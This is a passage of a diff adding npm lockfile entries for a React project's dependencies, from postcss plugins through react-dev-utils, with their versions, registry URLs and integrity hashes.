+      "integrity": "sha512-wR8igaZROA6Z4pv0d+bvVrvGY4GVHihBCBQieXFY3kuSuMyOmEnnfFzHl/tQuqHZkfkIVBEbDvYcFfHmpSet9g==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/postcss-preset-env": {
+      "version": "7.8.2",
+      "resolved": "https://registry.npmjs.org/postcss-preset-env/-/postcss-preset-env-7.8.2.tgz",
+      "integrity": "sha512-rSMUEaOCnovKnwc5LvBDHUDzpGP+nrUeWZGWt9M72fBvckCi45JmnJigUr4QG4zZeOHmOCNCZnd2LKDvP++ZuQ==",
+      "dependencies": {
+        "@csstools/postcss-cascade-layers": "^1.1.0",
+        "@csstools/postcss-color-function": "^1.1.1",
+        "@csstools/postcss-font-format-keywords": "^1.0.1",
+        "@csstools/postcss-hwb-function": "^1.0.2",
+        "@csstools/postcss-ic-unit": "^1.0.1",
+        "@csstools/postcss-is-pseudo-class": "^2.0.7",
+        "@csstools/postcss-nested-calc": "^1.0.0",
+        "@csstools/postcss-normalize-display-values": "^1.0.1",
+        "@csstools/postcss-oklab-function": "^1.1.1",
+        "@csstools/postcss-progressive-custom-properties": "^1.3.0",
+        "@csstools/postcss-stepped-value-functions": "^1.0.1",
+        "@csstools/postcss-text-decoration-shorthand": "^1.0.0",
+        "@csstools/postcss-trigonometric-functions": "^1.0.2",
+        "@csstools/postcss-unset-value": "^1.0.2",
+        "autoprefixer": "^10.4.11",
+        "browserslist": "^4.21.3",
+        "css-blank-pseudo": "^3.0.3",
+        "css-has-pseudo": "^3.0.4",
+        "css-prefers-color-scheme": "^6.0.3",
+        "cssdb": "^7.0.1",
+        "postcss-attribute-case-insensitive": "^5.0.2",
+        "postcss-clamp": "^4.1.0",
+        "postcss-color-functional-notation": "^4.2.4",
+        "postcss-color-hex-alpha": "^8.0.4",
+        "postcss-color-rebeccapurple": "^7.1.1",
+        "postcss-custom-media": "^8.0.2",
+        "postcss-custom-properties": "^12.1.9",
+        "postcss-custom-selectors": "^6.0.3",
+        "postcss-dir-pseudo-class": "^6.0.5",
+        "postcss-double-position-gradients": "^3.1.2",
+        "postcss-env-function": "^4.0.6",
+        "postcss-focus-visible": "^6.0.4",
+        "postcss-focus-within": "^5.0.4",
+        "postcss-font-variant": "^5.0.0",
+        "postcss-gap-properties": "^3.0.5",
+        "postcss-image-set-function": "^4.0.7",
+        "postcss-initial": "^4.0.1",
+        "postcss-lab-function": "^4.2.1",
+        "postcss-logical": "^5.0.4",
+        "postcss-media-minmax": "^5.0.0",
+        "postcss-nesting": "^10.2.0",
+        "postcss-opacity-percentage": "^1.1.2",
+        "postcss-overflow-shorthand": "^3.0.4",
+        "postcss-page-break": "^3.0.4",
+        "postcss-place": "^7.0.5",
+        "postcss-pseudo-class-any-link": "^7.1.6",
+        "postcss-replace-overflow-wrap": "^4.0.0",
+        "postcss-selector-not": "^6.0.1",
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/postcss-pseudo-class-any-link": {
+      "version": "7.1.6",
+      "resolved": "https://registry.npmjs.org/postcss-pseudo-class-any-link/-/postcss-pseudo-class-any-link-7.1.6.tgz",
+      "integrity": "sha512-9sCtZkO6f/5ML9WcTLcIyV1yz9D1rf0tWc+ulKcvV30s0iZKS/ONyETvoWsr6vnrmW+X+KmuK3gV/w5EWnT37w==",
+      "dependencies": {
+        "postcss-selector-parser": "^6.0.10"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/postcss-reduce-initial": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-reduce-initial/-/postcss-reduce-initial-5.1.0.tgz",
+      "integrity": "sha512-5OgTUviz0aeH6MtBjHfbr57tml13PuedK/Ecg8szzd4XRMbYxH4572JFG067z+FqBIf6Zp/d+0581glkvvWMFw==",
+      "dependencies": {
+        "browserslist": "^4.16.6",
+        "caniuse-api": "^3.0.0"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-reduce-transforms": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-reduce-transforms/-/postcss-reduce-transforms-5.1.0.tgz",
+      "integrity": "sha512-2fbdbmgir5AvpW9RLtdONx1QoYG2/EtqpNQbFASDlixBbAYuTcJ0dECwlqNqH7VbaUnEnh8SrxOe2sRIn24XyQ==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-replace-overflow-wrap": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/postcss-replace-overflow-wrap/-/postcss-replace-overflow-wrap-4.0.0.tgz",
+      "integrity": "sha512-KmF7SBPphT4gPPcKZc7aDkweHiKEEO8cla/GjcBK+ckKxiZslIu3C4GCRW3DNfL0o7yW7kMQu9xlZ1kXRXLXtw==",
+      "peerDependencies": {
+        "postcss": "^8.0.3"
+      }
+    },
+    "node_modules/postcss-selector-not": {
+      "version": "6.0.1",
+      "resolved": "https://registry.npmjs.org/postcss-selector-not/-/postcss-selector-not-6.0.1.tgz",
+      "integrity": "sha512-1i9affjAe9xu/y9uqWH+tD4r6/hDaXJruk8xn2x1vzxC2U3J3LKO3zJW4CyxlNhA56pADJ/djpEwpH1RClI2rQ==",
+      "dependencies": {
+        "postcss-selector-parser": "^6.0.10"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/postcss-selector-parser": {
+      "version": "6.0.10",
+      "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.10.tgz",
+      "integrity": "sha512-IQ7TZdoaqbT+LCpShg46jnZVlhWD2w6iQYAcYXfHARZ7X1t/UGhhceQDs5X0cGqKvYlHNOuv7Oa1xmb0oQuA3w==",
+      "peer": true,
+      "dependencies": {
+        "cssesc": "^3.0.0",
+        "util-deprecate": "^1.0.2"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/postcss-svgo": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-svgo/-/postcss-svgo-5.1.0.tgz",
+      "integrity": "sha512-D75KsH1zm5ZrHyxPakAxJWtkyXew5qwS70v56exwvw542d9CRtTo78K0WeFxZB4G7JXKKMbEZtZayTGdIky/eA==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0",
+        "svgo": "^2.7.0"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-svgo/node_modules/css-select": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/css-select/-/css-select-4.3.0.tgz",
+      "integrity": "sha512-wPpOYtnsVontu2mODhA19JrqWxNsfdatRKd64kmpRbQgh1KtItko5sTnEpPdpSaJszTOhEMlF/RPz28qj4HqhQ==",
+      "dependencies": {
+        "boolbase": "^1.0.0",
+        "css-what": "^6.0.1",
+        "domhandler": "^4.3.1",
+        "domutils": "^2.8.0",
+        "nth-check": "^2.0.1"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/fb55"
+      }
+    },
+    "node_modules/postcss-svgo/node_modules/css-tree": {
+      "version": "1.1.3",
+      "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.1.3.tgz",
+      "integrity": "sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q==",
+      "dependencies": {
+        "mdn-data": "2.0.14",
+        "source-map": "^0.6.1"
+      },
+      "engines": {
+        "node": ">=8.0.0"
+      }
+    },
+    "node_modules/postcss-svgo/node_modules/css-what": {
+      "version": "6.1.0",
+      "resolved": "https://registry.npmjs.org/css-what/-/css-what-6.1.0.tgz",
+      "integrity": "sha512-HTUrgRJ7r4dsZKU6GjmpfRK1O76h97Z8MfS1G0FozR+oF2kG6Vfe8JE6zwrkbxigziPHinCJ+gCPjA9EaBDtRw==",
+      "engines": {
+        "node": ">= 6"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/fb55"
+      }
+    },
+    "node_modules/postcss-svgo/node_modules/dom-serializer": {
+      "version": "1.4.1",
+      "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.4.1.tgz",
+      "integrity": "sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==",
+      "dependencies": {
+        "domelementtype": "^2.0.1",
+        "domhandler": "^4.2.0",
+        "entities": "^2.0.0"
+      },
+      "funding": {
+        "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1"
+      }
+    },
+    "node_modules/postcss-svgo/node_modules/domelementtype": {
+      "version": "2.3.0",
+      "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz",
+      "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/fb55"
+        }
+      ]
+    },
+    "node_modules/postcss-svgo/node_modules/domutils": {
+      "version": "2.8.0",
+      "resolved": "https://registry.npmjs.org/domutils/-/domutils-2.8.0.tgz",
+      "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==",
+      "dependencies": {
+        "dom-serializer": "^1.0.1",
+        "domelementtype": "^2.2.0",
+        "domhandler": "^4.2.0"
+      },
+      "funding": {
+        "url": "https://github.com/fb55/domutils?sponsor=1"
+      }
+    },
+    "node_modules/postcss-svgo/node_modules/mdn-data": {
+      "version": "2.0.14",
+      "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.14.tgz",
+      "integrity": "sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow=="
+    },
+    "node_modules/postcss-svgo/node_modules/nth-check": {
+      "version": "2.1.1",
+      "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-2.1.1.tgz",
+      "integrity": "sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==",
+      "dependencies": {
+        "boolbase": "^1.0.0"
+      },
+      "funding": {
+        "url": "https://github.com/fb55/nth-check?sponsor=1"
+      }
+    },
+    "node_modules/postcss-svgo/node_modules/svgo": {
+      "version": "2.8.0",
+      "resolved": "https://registry.npmjs.org/svgo/-/svgo-2.8.0.tgz",
+      "integrity": "sha512-+N/Q9kV1+F+UeWYoSiULYo4xYSDQlTgb+ayMobAXPwMnLvop7oxKMo9OzIrX5x3eS4L4f2UHhc9axXwY8DpChg==",
+      "dependencies": {
+        "@trysound/sax": "0.2.0",
+        "commander": "^7.2.0",
+        "css-select": "^4.1.3",
+        "css-tree": "^1.1.3",
+        "csso": "^4.2.0",
+        "picocolors": "^1.0.0",
+        "stable": "^0.1.8"
+      },
+      "bin": {
+        "svgo": "bin/svgo"
+      },
+      "engines": {
+        "node": ">=10.13.0"
+      }
+    },
+    "node_modules/postcss-unique-selectors": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/postcss-unique-selectors/-/postcss-unique-selectors-5.1.1.tgz",
+      "integrity": "sha512-5JiODlELrz8L2HwxfPnhOWZYWDxVHWL83ufOv84NrcgipI7TaeRsatAhK4Tr2/ZiYldpK/wBvw5BD3qfaK96GA==",
+      "dependencies": {
+        "postcss-selector-parser": "^6.0.5"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-value-parser": {
+      "version": "4.2.0",
+      "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz",
+      "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ=="
+    },
+    "node_modules/prelude-ls": {
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz",
+      "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==",
+      "engines": {
+        "node": ">= 0.8.0"
+      }
+    },
+    "node_modules/pretty-bytes": {
+      "version": "5.6.0",
+      "resolved": "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-5.6.0.tgz",
+      "integrity": "sha512-FFw039TmrBqFK8ma/7OL3sDz/VytdtJr044/QUJtH0wK9lb9jLq9tJyIxUwtQJHwar2BqtiA4iCWSwo9JLkzFg==",
+      "engines": {
+        "node": ">=6"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/pretty-error": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/pretty-error/-/pretty-error-4.0.0.tgz",
+      "integrity": "sha512-AoJ5YMAcXKYxKhuJGdcvse+Voc6v1RgnsR3nWcYU7q4t6z0Q6T86sv5Zq8VIRbOWWFpvdGE83LtdSMNd+6Y0xw==",
+      "dependencies": {
+        "lodash": "^4.17.20",
+        "renderkid": "^3.0.0"
+      }
+    },
+    "node_modules/pretty-format": {
+      "version": "26.6.2",
+      "resolved": "https://registry.nlark.com/pretty-format/download/pretty-format-26.6.2.tgz?cache=0&sync_timestamp=1622290311384&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpretty-format%2Fdownload%2Fpretty-format-26.6.2.tgz",
+      "integrity": "sha1-41wnBfFMt/4v6U+geDRbREEg/JM=",
+      "dependencies": {
+        "@jest/types": "^26.6.2",
+        "ansi-regex": "^5.0.0",
+        "ansi-styles": "^4.0.0",
+        "react-is": "^17.0.1"
+      },
+      "engines": {
+        "node": ">= 10"
+      }
+    },
+    "node_modules/pretty-format/node_modules/react-is": {
+      "version": "17.0.2",
+      "resolved": "https://registry.nlark.com/react-is/download/react-is-17.0.2.tgz",
+      "integrity": "sha1-5pHUqOnHiTZWVVOas3J2Kw77VPA="
+    },
+    "node_modules/process-nextick-args": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz",
+      "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag=="
+    },
+    "node_modules/promise": {
+      "version": "8.2.0",
+      "resolved": "https://registry.npmjs.org/promise/-/promise-8.2.0.tgz",
+      "integrity": "sha512-+CMAlLHqwRYwBMXKCP+o8ns7DN+xHDUiI+0nArsiJ9y+kJVPLFxEaSw6Ha9s9H0tftxg2Yzl25wqj9G7m5wLZg==",
+      "dependencies": {
+        "asap": "~2.0.6"
+      }
+    },
+    "node_modules/prompts": {
+      "version": "2.4.2",
+      "resolved": "https://registry.npmjs.org/prompts/-/prompts-2.4.2.tgz",
+      "integrity": "sha512-NxNv/kLguCA7p3jE8oL2aEBsrJWgAakBpgmgK6lpPWV+WuOmY6r2/zbAVnP+T8bQlA0nzHXSJSJW0Hq7ylaD2Q==",
+      "dependencies": {
+        "kleur": "^3.0.3",
+        "sisteransi": "^1.0.5"
+      },
+      "engines": {
+        "node": ">= 6"
+      }
+    },
+    "node_modules/prop-types": {
+      "version": "15.7.2",
+      "resolved": "https://registry.npm.taobao.org/prop-types/download/prop-types-15.7.2.tgz",
+      "integrity": "sha1-UsQedbjIfnK52TYOAga5ncv/psU=",
+      "dependencies": {
+        "loose-envify": "^1.4.0",
+        "object-assign": "^4.1.1",
+        "react-is": "^16.8.1"
+      }
+    },
+    "node_modules/prop-types-extra": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npm.taobao.org/prop-types-extra/download/prop-types-extra-1.1.1.tgz",
+      "integrity": "sha1-WMO3TL+7ldMEYll1qi8ISDKaAQs=",
+      "dependencies": {
+        "react-is": "^16.3.2",
+        "warning": "^4.0.0"
+      },
+      "peerDependencies": {
+        "react": ">=0.14.0"
+      }
+    },
+    "node_modules/proxy-addr": {
+      "version": "2.0.7",
+      "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz",
+      "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==",
+      "dependencies": {
+        "forwarded": "0.2.0",
+        "ipaddr.js": "1.9.1"
+      },
+      "engines": {
+        "node": ">= 0.10"
+      }
+    },
+    "node_modules/proxy-addr/node_modules/ipaddr.js": {
+      "version": "1.9.1",
+      "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz",
+      "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==",
+      "engines": {
+        "node": ">= 0.10"
+      }
+    },
+    "node_modules/proxy-from-env": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz",
+      "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg=="
+    },
+    "node_modules/psl": {
+      "version": "1.9.0",
+      "resolved": "https://registry.npmjs.org/psl/-/psl-1.9.0.tgz",
+      "integrity": "sha512-E/ZsdU4HLs/68gYzgGTkMicWTLPdAftJLfJFlLUAAKZGkStNU72sZjT66SnMDVOfOWY/YAoiD7Jxa9iHvngcag=="
+    },
+    "node_modules/punycode": {
+      "version": "2.1.1",
+      "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz",
+      "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==",
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/q": {
+      "version": "1.5.1",
+      "resolved": "https://registry.npmjs.org/q/-/q-1.5.1.tgz",
+      "integrity": "sha512-kV/CThkXo6xyFEZUugw/+pIOywXcDbFYgSct5cT3gqlbkBE1SJdwy6UQoZvodiWF/ckQLZyDE/Bu1M6gVu5lVw==",
+      "deprecated": "You or someone you depend on is using Q, the JavaScript Promise library that gave JavaScript developers strong feelings about promises. They can almost certainly migrate to the native JavaScript promise now. Thank you literally everyone for joining me in this bet against the odds. Be excellent to each other.\n\n(For a CapTP with native promises, see @endo/eventual-send and @endo/captp)",
+      "engines": {
+        "node": ">=0.6.0",
+        "teleport": ">=0.2.0"
+      }
+    },
+    "node_modules/qs": {
+      "version": "6.13.0",
+      "resolved": "https://registry.npmjs.org/qs/-/qs-6.13.0.tgz",
+      "integrity": "sha512-+38qI9SOr8tfZ4QmJNplMUxqjbe7LKvvZgWdExBOmd+egZTtjLB67Gu0HRX3u/XOq7UU2Nx6nsjvS16Z9uwfpg==",
+      "dependencies": {
+        "side-channel": "^1.0.6"
+      },
+      "engines": {
+        "node": ">=0.6"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/qs/node_modules/call-bind": {
+      "version": "1.0.7",
+      "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.7.tgz",
+      "integrity": "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w==",
+      "dependencies": {
+        "es-define-property": "^1.0.0",
+        "es-errors": "^1.3.0",
+        "function-bind": "^1.1.2",
+        "get-intrinsic": "^1.2.4",
+        "set-function-length": "^1.2.1"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/qs/node_modules/function-bind": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz",
+      "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==",
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/qs/node_modules/get-intrinsic": {
+      "version": "1.2.4",
+      "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.4.tgz",
+      "integrity": "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ==",
+      "dependencies": {
+        "es-errors": "^1.3.0",
+        "function-bind": "^1.1.2",
+        "has-proto": "^1.0.1",
+        "has-symbols": "^1.0.3",
+        "hasown": "^2.0.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/qs/node_modules/object-inspect": {
+      "version": "1.13.2",
+      "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.2.tgz",
+      "integrity": "sha512-IRZSRuzJiynemAXPYtPe5BoI/RESNYR7TYm50MC5Mqbd3Jmw5y790sErYw3V6SryFJD64b74qQQs9wn5Bg/k3g==",
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/qs/node_modules/side-channel": {
+      "version": "1.0.6",
+      "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.6.tgz",
+      "integrity": "sha512-fDW/EZ6Q9RiO8eFG8Hj+7u/oW+XrPTIChwCOM2+th2A6OblDtYYIpve9m+KvI9Z4C9qSEXlaGR6bTEYHReuglA==",
+      "dependencies": {
+        "call-bind": "^1.0.7",
+        "es-errors": "^1.3.0",
+        "get-intrinsic": "^1.2.4",
+        "object-inspect": "^1.13.1"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/querystringify": {
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.2.0.tgz",
+      "integrity": "sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ=="
+    },
+    "node_modules/queue-microtask": {
+      "version": "1.2.3",
+      "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz",
+      "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/feross"
+        },
+        {
+          "type": "patreon",
+          "url": "https://www.patreon.com/feross"
+        },
+        {
+          "type": "consulting",
+          "url": "https://feross.org/support"
+        }
+      ]
+    },
+    "node_modules/quick-lru": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz",
+      "integrity": "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/raf": {
+      "version": "3.4.1",
+      "resolved": "https://registry.npmjs.org/raf/-/raf-3.4.1.tgz",
+      "integrity": "sha512-Sq4CW4QhwOHE8ucn6J34MqtZCeWFP2aQSmrlroYgqAV1PjStIhJXxYuTgUIfkEk7zTLjmIjLmU5q+fbD1NnOJA==",
+      "dependencies": {
+        "performance-now": "^2.1.0"
+      }
+    },
+    "node_modules/randombytes": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz",
+      "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==",
+      "dependencies": {
+        "safe-buffer": "^5.1.0"
+      }
+    },
+    "node_modules/range-parser": {
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz",
+      "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==",
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/raw-body": {
+      "version": "2.5.2",
+      "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.5.2.tgz",
+      "integrity": "sha512-8zGqypfENjCIqGhgXToC8aB2r7YrBX+AQAfIPs/Mlk+BtPTztOvTS01NRW/3Eh60J+a48lt8qsCzirQ6loCVfA==",
+      "dependencies": {
+        "bytes": "3.1.2",
+        "http-errors": "2.0.0",
+        "iconv-lite": "0.4.24",
+        "unpipe": "1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/raw-body/node_modules/bytes": {
+      "version": "3.1.2",
+      "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz",
+      "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==",
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/react": {
+      "version": "17.0.2",
+      "resolved": "https://registry.nlark.com/react/download/react-17.0.2.tgz",
+      "integrity": "sha1-0LXMUW0p6z7uOD91tihkz7aAADc=",
+      "peer": true,
+      "dependencies": {
+        "loose-envify": "^1.1.0",
+        "object-assign": "^4.1.1"
+      },
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/react-app-polyfill": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/react-app-polyfill/-/react-app-polyfill-3.0.0.tgz",
+      "integrity": "sha512-sZ41cxiU5llIB003yxxQBYrARBqe0repqPTTYBTmMqTz9szeBbE37BehCE891NZsmdZqqP+xWKdT3eo3vOzN8w==",
+      "dependencies": {
+        "core-js": "^3.19.2",
+        "object-assign": "^4.1.1",
+        "promise": "^8.1.0",
+        "raf": "^3.4.1",
+        "regenerator-runtime": "^0.13.9",
+        "whatwg-fetch": "^3.6.2"
+      },
+      "engines": {
+        "node": ">=14"
+      }
+    },
+    "node_modules/react-app-polyfill/node_modules/regenerator-runtime": {
+      "version": "0.13.9",
+      "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.9.tgz",
+      "integrity": "sha512-p3VT+cOEgxFsRRA9X4lkI1E+k2/CtnKtU4gcxyaCUreilL/vqI6CdZ3wxVUx3UOUg+gnUOQQcRI7BmSI656MYA=="
+    },
+    "node_modules/react-bootstrap": {
+      "version": "1.6.1",
+      "resolved": "https://registry.nlark.com/react-bootstrap/download/react-bootstrap-1.6.1.tgz",
+      "integrity": "sha1-xUk8Ao7eiFgmty6zHmb28KUqsAc=",
+      "dependencies": {
+        "@babel/runtime": "^7.14.0",
+        "@restart/context": "^2.1.4",
+        "@restart/hooks": "^0.3.26",
+        "@types/invariant": "^2.2.33",
+        "@types/prop-types": "^15.7.3",
+        "@types/react": ">=16.14.8",
+        "@types/react-transition-group": "^4.4.1",
+        "@types/warning": "^3.0.0",
+        "classnames": "^2.3.1",
+        "dom-helpers": "^5.2.1",
+        "invariant": "^2.2.4",
+        "prop-types": "^15.7.2",
+        "prop-types-extra": "^1.1.0",
+        "react-overlays": "^5.0.1",
+        "react-transition-group": "^4.4.1",
+        "uncontrollable": "^7.2.1",
+        "warning": "^4.0.3"
+      },
+      "peerDependencies": {
+        "react": ">=16.8.0",
+        "react-dom": ">=16.8.0"
+      }
+    },
+    "node_modules/react-dev-utils": {
+      "version": "12.0.1",
+      "resolved": "https://registry.npmjs.org/react-dev-utils/-/react-dev-utils-12.0.1.tgz",
